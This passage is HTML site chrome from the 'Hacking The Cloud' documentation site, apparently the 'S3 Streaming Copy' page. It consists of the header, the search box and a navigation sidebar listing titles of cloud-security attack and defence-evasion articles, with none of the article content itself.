298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> S3 Streaming Copy </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> 